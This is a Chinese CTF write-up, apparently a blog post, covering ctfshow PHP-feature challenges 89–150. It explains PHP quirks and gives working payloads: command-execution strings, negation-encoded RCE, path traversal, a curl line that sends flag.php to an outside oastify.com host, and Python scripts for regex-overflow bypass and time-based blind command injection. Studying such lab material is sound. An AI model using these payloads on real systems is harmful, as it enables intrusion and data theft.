目录
89:直接数组绕过preg_match当遇到数组时会直接报错输出0
95:这里在最前面使用%0a或者随便一个其他的添加一个字节隔离开在使用八进制就可以绕过
100:没有设置什么过滤直接命令执行就好###101题的弱化版
[101:ReflectionClass 建立反射类](#101:ReflectionClass 建立反射类)
106:这里直接可以用数组绕过,和绕过MD5一样,都是sha加密
109:这里学到了利用反序列化的__construct魔法函数来利用
110:php的内置函数FilesystemIterator的利用
[123:在php中参数加'.'会被替换掉,除非参数中含有'+'或者'空格'或者'[ ]'这些,这些会被替换为'',并且保留'.'这一类会被替换掉的符号](#123:在php中参数加'.'会被替换掉,除非参数中含有'+'或者'空格'或者'[ ]'这些,这些会被替换为'',并且保留'.'这一类会被替换掉的符号)
129:stripos(1,2)查找2在1中第一次出现的位置
[134:_POST是个幌子](#134:_POST是个幌子)
135:这里同样可以用curl来解,利用反斜杠绕过就可以,前提是他没有禁用反斜杠
139:命令盲注###这里有个问题,{}这个括号可能跑不出来要自己加
143:这里和141同理,但是将取反的符号过滤了,所以这里用异或
144:也是同样的只是稍微绕了一下(使用取反,异或,或,都可以)
145:这里其他都还是和143-144一样,只是使用php的if函数的变式来绕过
146:'|','^'同样也可以当作运算符用来绕过return
147:涉及两个知识点create_function的代码注入以及php命令空间
150:这里有多种方法可以解,非预期、日志文件包含、session文件包含、临时文件上传###这里演示一种
150_plus:这一题利用phpinfo来进行条件竞争创建webshell在服务器上
php特性
89:直接数组绕过preg_match当遇到数组时会直接报错输出0
90:这里利用了intval的特性
payload:
num=4476%0a
4476%0a不绝对等于4476应为%0a相当于是空格
但是intval(4476%0a,0)这里intval函数用于获取变量的整数值,所以会排除掉%0a所以
intval(4476%0a,0)===4476
intval(a,b)
如果b=0那么会自己去判断a是什么进制,例如a=0x开头则是18进制,0开头则是8进制,也可以直接设置b=10进制之类的
91:这里需要细节一点
/m会多行匹配意思就是
a
php
这样也能匹配到
而这里就只能匹配第一行所以能绕过
92-93:这两题的方法很多可以发散思维
- 利用intval可以计算其他进制来绕过,例如使用八进制 payload:010574
- 或者利用intval取整的特性4476.1####92题不行
- 92题可以使用16进制绕过
94:还是利用小数绕过例如4476.0
这里不知道为什么4476.0可以但是4476.1或者4476.2其他的数字不行
95:这里在最前面使用%0a或者随便一个其他的添加一个字节隔离开在使用八进制就可以绕过
payload:
%0a010574
96:可用php伪协议或者./flag.php绕过
97:简单的数组绕过
原理:当md5函数加密数组时会报错NULL,当两a和b同时都是数组时,md5(a)===md5(b)等于NULL===NULL
解法2:利用明文不同但是hashi值相同的两个字符串
98:php三元运算符
三元运算符就是php的if函数的变式:
例如:$a = b == 3?4:5; 等同于if(b == 3){a = 4}else{a == 5}
_GET?_GET=&$_POST:'flag';等于if(_GET){_GET=&$_POST}else{'flag'}
解析:当通过get方式传入参数时就把get传入参数改为post传入参数
_GET\['flag'\]=='flag'?_GET=&$_COOKIE:'flag';
因为已经表名了当通get传参直接变成POST传参所以这里应该变为
if(_POST\['flag'\]=='flag'){_POST=&$_COOKIE}else{'flag'}
解析:只要有通过post传输参数flag=flag,那么POST传入参数改为COOKIE传入参数
_GET\['flag'\]=='flag'?_GET=&$_SERVER:'flag';
还是同理,因为了通过post传输参数flag=flag直接变成COOKIE传参所以这里应该变为
if(_COOKIE\['flag'\]=='flag'){_COOKIE=&_SERVER}else{'flag'}
解析:只要有通过COOKIE传输参数flag=flag,那么COOKIE传入参数改为SERVER传入参数
highlight_file(_GET\['HTTP_FLAG'\]=='flag'?flag:FILE);
最后这里
highlight_file(if(_SERVER\['HTTP_FLAG'\]=='flag'){flag}else{FILE})
所以最后payload:
- ?a=1 ####随便传入一个get引用第一个方法将_GET传参改为_POST
- post传参:flag=flag ####将_POST传参改为_COOKIE
- Cookie: flag=flag ####将_COOKIE传参改为_SERVER
- Flag: flag ####获取到flag
99:in_array函数漏洞
当type参数没有设置的话他不会检查数据和数组的类型是否相同
例如:
in_array(1.abc,1),一个是字符串一个是数组,但是没有设置第三个参数,就可以形成自动转换,1.abc自动转换为1
100:没有设置什么过滤直接命令执行就好###101题的弱化版
payload1:
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
payload2:
?v1=1&v2=system('ls')/*&v3=*/;
payload3:
?v1=1&v2=cp ctfshow.php 1.txt/*&v3=*/; ####访问1.txt就可以访问
101:ReflectionClass 建立反射类
从提示可知少给了一位flag,拿到bp爆破就好
102:还是写一句话木马进服务器
substr(a,b)函数是一个截取函数,a是需要被截取的字符串,b是需要从第几位开始截取###从零开始数
call_user_func函数类似于一种特别的调用函数的方法
file_put_contents函数是一个写入字符串进文件的函数,也可以通过此函数创建文件并写入东西
构造payload:
113:和102同理只是把php改为<?=就好,这个等同于<?php echo
114:随便上传两个相同的字符
105:考察变量覆盖
foreach函数:通过get传入?a=b那么通过foreach函数使key=a而value=b
key=$$value,这里的意思就是把原本的值当作变量名用了 这里的就相当于是$$key=$$value \<\> $a=$b ![](https://file.jishuzhan.net/article/1764105522350395393/f1d1816ef99ef1d1d949a7d0bd655cfc.webp) ### 106:这里直接可以用数组绕过,和绕过MD5一样,都是sha加密 ![](https://file.jishuzhan.net/article/1764105522350395393/01c124d9804de3d86b358de84f758863.webp) ### 107:parse_str函数 这里会通过parse_str把$v1的值给$v2有点像赋值 给v1传入flag=1,赋值以后,$v2=(\[flag\] =\> 1) ![](https://file.jishuzhan.net/article/1764105522350395393/7f306d88b90e720db3095db9c1f90ffd.webp) ### ![](https://file.jishuzhan.net/article/1764105522350395393/e1ea1e609a0471b80177cea759f990a1.webp) ### 108:简单绕过 ereg(a,b)类似于搜索,a是条件类似于正则,b使字符串如果b中有a的要求的东西则输出真 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过 strrev()是取反函数传入abc返回cba这种 ### 109:这里学到了利用反序列化的__construct魔法函数来利用 **__cddonstruct魔法函数当使用new实例化一个对象的时候就会引用** > payload: > > v1= > > class{ > > public function __construct(){ > > system('ls') > > } > > } > > v2=1 连起来就是echo new (class{public function __construct(){system('ls')}}1()) ### 110:php的内置函数FilesystemIterator的利用 FilesystemIterator()可以读取指定的目录文件 fetcwd()可以获取当前目录的路径 ### 111:直接利用php的全局变量 ![](https://file.jishuzhan.net/article/1764105522350395393/2bafcffcc781f40820891d0e0ee7b18c.webp) ### 112和114:直接利用php伪协议读取 ### 113:is_file函数能处理的长度有限制 解答1: /proc/self/root表示根目录 利用这个多次添加让is_file函数认为这不是个文件 解答2: php中的zip伪协议 官方用法compress.zlib://file.gz compress.zlib://file.bz2 ### 115: trim()函数用于移除字符串两侧的空格 这里利用%0c绕过相当于是\<,并且并不会被trim过滤掉,并且输入的参数还是int型 ### 123:在php中参数加'.'会被替换掉,除非参数中含有'+'或者'空格'或者'\[ \]'这些,这些会被替换为'_',并且保留'.'这一类会被替换掉的符号 ### 125:和123差不多,但是过滤更干净了,利用函数嵌套 ### 126:这里利用到了$a=$_SERVER\['argv'\]; > $_SERVER\['argv'\]: > > 传递给该脚本的参数的数组。脚本以命令行方式运行时,argv变量传递给程序C语言样式的命令行参数。当通过GET方式调用时,该变量包含query string。 大致来说就是会把接收的数据变成数组,数据用分隔号隔开例如+之类的 > payload: > > get:$a=a+fl0g=flag_give_me > > post=CTF_SHOW=2\&CTF\[SHOW.COM=1\&fun=parse_str($a\[1\]) 这里通过$_SERVER\['argv'\]给$a指定了他的方式 第一个参数$_SERVER\['argv'\]\[0\]是脚本名,其余的是传递给脚本的参数(例如这样的$a\[1\]) parse_str函数: ![](https://file.jishuzhan.net/article/1764105522350395393/6479091a0ea6ee28aa96fd1b25555f05.webp) ### 127:利用php的特性绕过 $_SERVER\['QUERY_STRING'\]获取 URL 数据并使用 PHP 中的 Explode 函数将数据转换为数组 ### 128:新知识点 _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars --- 返回由所有已定义变量所组成的数组 这样可以获得 $flag ### 129:stripos(1,2)查找2在1中第一次出现的位置 利用目录穿越例如/ctfshow/../../../etc/passwd ### 130:直接绕过,0相当于FALLS ### 131:关于PHP正则的溢出 当存在这样的情况时可能会出现正则溢出的情况 ![](https://file.jishuzhan.net/article/1764105522350395393/9499516a4b70175fb51784d59b8ffb06.webp) 例如: 原字符:abcd 正则:.\*?d > 这里的.\*?会率先匹配第一个字符a但是他选择先不匹配,因为是非**贪婪模式(在可以匹配和不匹配之间优先选择不匹配**),这里会把选择权给d,d回去匹配下一个字符b,如果不匹配选择权又会回到.\*?去匹配b,但是还是因为非贪婪模式,不回去直接匹配,又把选择权给d,直到匹配到最后一个字符d才会停下 ```python import requests url = r'http://a3835817-be92-4fb2-ba94-2db402037f5a.challenge.ctf.show/' data = { 'f': 'aaaaaaaa'*130000+'36Dctfshow' } a = requests.post(url=url, data=data) print(a.text) ``` ### 132:关于php的逻辑运算符 对于"与"(**\&\&** ) 运算: **x \&\& y** 当**x** 为**false** 时,直接跳过,不执行**y** ; 对于"或"(**\|\|** ) 运算 : **x\|\|y** 当**x** 为**true** 时,直接跳过,不执行**y**。 ### 133:利用变量覆盖再利用curl可以传输文件信息 payload:\`$F\`;+curl -X POST -F a=flag.php https://lj8u9k8tr39ry1cpwrqhz7ndd4jx7nvc.oastify.com ### 134:$_POST是个幌子 > $_SERVER\['QUERY_STRING'\]: > > 这里会获取url里?后面的数据 > > parse_str(): > > 将这样的a=1\&b=2给附上值,变成$a=1 $b=2 > > extract(): > > 把数组的键值和键名当作变量名和变量值,例如a\[b\]=c那么extract(a\[b\]) \<==\> b=c ### 135:这里同样可以用curl来解,利用反斜杠绕过就可以,前提是他没有禁用反斜杠 ### 136:tee命令,可以实现输出又能输入到文件 例如:cat flag.php\|tee 1 看flag.php文件又能输出到文件1里 ### 137:call_user_func()函数调用方法 调用类里的方法时 array("a","b") \<==\> a::b ![](https://file.jishuzhan.net/article/1764105522350395393/c41bd8992be256f73fa4e8e9ff3c8926.webp) ### 138:相当于禁用了:: 但是call_user_func(array("a","b"))使用array创建数组调用类里面的方法 所以传输的时候可以使用变式,直接传数组 例如:a\[0\]=a a\[1\]=b 这样和使用array来创建数组是相同的 ### 139:命令盲注###这里有个问题,{}这个括号可能跑不出来要自己加 > ls / -1 自动换行 awk "NR==1" 取第一排 cut -c 1 取第一个 > > if \[ a == b \];then echo 123;fi if的\[\]里必须有间隔不然会报错,如果a等于b执行then echo 123,错误则执行fi ```python import requests url = r"http://16c540da-b9a6-4523-bccd-019f974cb794.challenge.ctf.show/?c=" flag1 = "qwertyuiopasdfghjklzxcvbnm_-=+[]{};\':\",./<>?123456789." flag = "" for i in range(1, 6): for a in range(1, 32): for b in flag1: payload = f"if [ `ls / -1|awk \"NR=={i}\"|cut -c {a}` == \"{b}\" ];then sleep 4;fi" try: requests.get(url=url+payload, timeout=3) except: flag += b print(flag) break ``` ### 140:让传入的两个函数运行后是0或者false或空 ### 141:利用php计算来绕过return ####这里141和143-144可以去看我的这篇博文 [无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客](https://blog.csdn.net/whale_waves/article/details/136365419?spm=1001.2014.3001.5502 "无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客") > `/^\W+$/` 作用是匹配非数字字母下划线的字符 > > 可使用取反来绕过 ```php 1?a:b > > 等同于 > > if 1{ > > a; > > }else{ > > b; > > } payload: (\~%8c%86%8c%8b%9a%92)(\~%9c%9e%8b%df%99%d5) ``` system cat f* ``` ### 146:'\|','\^'同样也可以当作运算符用来绕过return ### 147:涉及两个知识点create_function的代码注入以及php命令空间 > create_function的代码注入**###本函数已自 PHP 7.2.0 起被*废弃* ,并自 PHP 8.0.0 起被*移除*** > 此函数在内部执行 [eval()](https://www.php.net/manual/zh/function.eval.php "eval()"),因此具有跟 [eval()](https://www.php.net/manual/zh/function.eval.php "eval()") 相同的安全问题,就是因为他创建匿名函数的同时会内部执行eval,就会直接将里面的参数全部执行了 > > 例如: > create_function(a,b) > 等同于 > function xxx(a){ > b > } > php命令空间 > 在PHP中普通的调用函数方式相当于是调用的相对路径,例如调用create_function,其实是调用的\\create_function此路径的函数,在php中可以自定义命名空间,但是最基本的命名空间就是调用\\下面的函数 ### 148:异或绕过即可或者预期解 ### 149:条件竞争或者直接在index.php中插入木马 ### 150:这里有多种方法可以解,非预期、日志文件包含、session文件包含、临时文件上传###这里演示一种 **日志文件包含:** ![](https://file.jishuzhan.net/article/1764105522350395393/80cddec17913b3cfdcb77fb72b918149.webp) > 这里需要vip这个变量等于1 isvip函数才会返回true才能最后利用到这里的include函数 > > ```php > if($isVIP && strrpos($ctf, ":")===FALSE){ > include($ctf); > } > ``` > > 而要让isVIP这个变量赋值为1,需要利用到extract函数####这里134题也讲过 > > extract(): > > 把数组的键值和键名当作变量名和变量值,例如a\[b\]=c那么extract(a\[b\]) \<==\> b=c > > ![](https://file.jishuzhan.net/article/1764105522350395393/0f2b5a1d2efb722d1d5ec4b73234ebd6.webp) ### 150_plus:这一题利用phpinfo来进行条件竞争创建webshell在服务器上 `class_exists检查类是否被定义` __autoload --- 尝试加载未定义的类会被调用 利用extract(..CTFSHOW..);来覆盖$__CTFSHOW__ ####关于符号 ' . ' 这个在之前做过解释,在php里,变量如果使用特殊字符如'\['和'.'还有空格这一类的,会自动被加载为_ 这里似乎被删减过,只要找到phpinfo就能获得flag 最后payload:?..CTFSHOW..=phpinfo 但是这里还是要对这个条件竞争做一个笔记 > 这里是vuhub上做出的解释 > > ##不理解为什么会出现临时文件可以去看这篇[无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客](https://blog.csdn.net/whale_waves/article/details/136365419?spm=1001.2014.3001.5502 "无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客") > > ![](https://file.jishuzhan.net/article/1764105522350395393/7c0515c985d5d83977c5d3cc1b1b8e1a.webp) > > 大致来讲就是,通过post传入参数时同时上传的文件会被服务器存为临时文件,但在每次执行完命令之后就会立马删除,必须要在它没删除之前访问它才能让他保留,但这种情况几乎不存在,所以需要卡bug,通过phpinfo页面来增加他执行完成的时间,上面有原理。